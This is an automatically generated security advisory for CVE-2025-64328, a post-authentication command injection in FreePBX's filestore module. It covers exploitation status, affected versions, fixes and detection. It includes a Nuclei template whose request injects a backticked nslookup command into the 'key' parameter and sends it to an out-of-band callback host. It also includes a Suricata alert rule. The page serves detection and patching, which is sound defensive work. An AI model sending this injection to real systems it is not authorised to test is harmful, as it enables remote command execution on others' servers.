VULNpocalypse

CVE-2025-64328: Sangoma FreePBX OS Command Injection Vulnerability

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

Generated by VEDAS. Scores as of 2026-11-01 19:19 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.

What it is

FreePBX Endpoint Manager is a module for managing telephony endpoints in FreePBX systems. In versions 17.0.2.36 and above before 17.0.3, the filestore module within the Administrative interface is vulnerable to a post-authentication command injection by an authenticated known user via the testconnection -> check_ssh_connect() function. An attacker can leverage this vulnerability to obtain remote access to the system as an asterisk user. This issue is fixed in version 17.0.3.

Description quoted from the CVE record (assigned by GitHub_M, published 2025-11-07).

Weakness: CWE-78: Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)

How it can be exploited

Exploitable over the network with low attack complexity with no special attack requirements needing high privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: no. Technical impact: total.

On CISA KEV since
2026-02-03
US federal deadline
2026-02-24
Ransomware use
Not known

Public exploit evidence (Exploit Observer)

Also known as: BDU:2026-02198, CNNVD-202511-715, EUVD-2025-38232

VEDAS cluster: VEDAS:FLOWYFROST

Exploit Observer links 7 pieces of public exploit code or detection modules that name this CVE or one of its aliases.

Exploit code and modules (7)

Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.

Research and write-ups (1)

Vulnerability databases and vendor advisories (4)

Catalogue entries, not exploit evidence.

News (1)

15 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.

VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.

Live scores

EPSS
0.846
very likely to be attacked soon
VEDAS
0.989
strong exploit evidence
On CISA KEV
Yes, since 2026-02-03
Detection rule
Nuclei · Suricata
EPSS (chance of attack)
10No cve-scores data 2026-02-22 to 2026-08-08no data0.1Added to CISA KEV 2026-02-03CVE-2025-64328 EPSS over time2025-112026-11-01
VEDAS (exploit evidence)
10No cve-scores data 2026-02-22 to 2026-08-08no data0.9Added to CISA KEV 2026-02-03CVE-2025-64328 VEDAS over time2025-112026-11-01

Thin horizontal line: the “likely” (EPSS 0.10) or “strong” (VEDAS 0.90) threshold. Shaded “no data” areas are periods when cve-scores did not publish. The vertical line is the day CISA added it to its exploited list.

Who is affected

ProductAffectedNot affected
FreePBX filestoreversion >= 17.0.2.36, < 17.0.3Not stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

Exploit Observer also maps it to: sangoma filestore, sangoma_technologies_inc. freepbx.

How to fix it

CISA required action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.

Vendor guidance:

How to detect it

Nuclei template (active check)

Freepbx - Command Injection

FreePBX Endpoint Manager is a module for managing telephony endpoints in FreePBX systems. In versions 17.0.2.36 and above before 17.0.3, the filestore module within the Administrative interface is vulnerable to a post-authentication command injection by an authenticated known user via the testconnection -> check_ssh_connect() function.

Name and description quoted from the template, written by VEDAS.

The template sends 3 requests (GET /admin/config.php, GET /admin/ajax.php?module=filestore&command=testconnection&driver=SSH&..., GET /); it confirms through an out-of-band callback (interactsh), so the scanner must be able to receive it; it decides using word matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash
nuclei -u https://your-host -t CVE-2025-64328.yaml
Show the template (59 lines)
yaml
id: CVE-2025-64328

info:
  name: "Freepbx - Command Injection"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    FreePBX Endpoint Manager is a module for managing telephony endpoints in FreePBX systems. In versions
    17.0.2.36 and above before 17.0.3, the filestore module within the Administrative interface is vulnerable to a
    post-authentication command injection by an authenticated known user via the testconnection ->
    check_ssh_connect() function.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2025-64328&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=freepbx&match=exact
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
    cvss-score: 8.6
    cve-id: CVE-2025-64328
  metadata:
    verified: false
  tags: cve,cve2025,freepbx,rce,oast,authenticated,vuln,kev,vkev
variables:
  username: "{{username}}"
  password: "{{password}}"
  cmd: "nslookup {{interactsh-url}}"
  prefix: "{{rand_text_alpha(5)}}"

flow: http(1) && http(2)


http:
  - method: POST
    path:
      - "{{BaseURL}}/admin/config.php"
    headers:
      Content-Type: application/x-www-form-urlencoded
    body: "username={{username}}&password={{password}}"

    matchers:
      - type: word
        part: body
        words:
          - 'FreePBX Administration'
          - 'Hello, {{username}}'
        condition: and
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/admin/ajax.php?module=filestore&command=testconnection&driver=SSH&host=127.0.0.1&user={{prefix}}&port=22&key={{prefix}}`{{cmd}}`&path={{prefix}}"
    headers:
      Referer: "{{BaseURL}}"

    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"
          - "http"

CVE-2025-64328.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2025-64328 Freepbx - Command Injection. Add them to your Suricata rule set and reload.

Show the rules
suricata
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2025-64328 Freepbx - Command Injection"; flow:established,to_server; http.uri; content:"/admin/ajax.php"; nocase; fast_pattern; content:"command="; nocase; content:"driver="; nocase; classtype:web-application-attack; reference:cve,CVE-2025-64328; reference:url,https://www.exploit.observer/?keyword=CVE-2025-64328&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=freepbx&match=exact; sid:1009215; rev:1;)

CVE-2025-64328.rules on GitHub

References

Exploits and technical analysis

Government sources

Other references

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.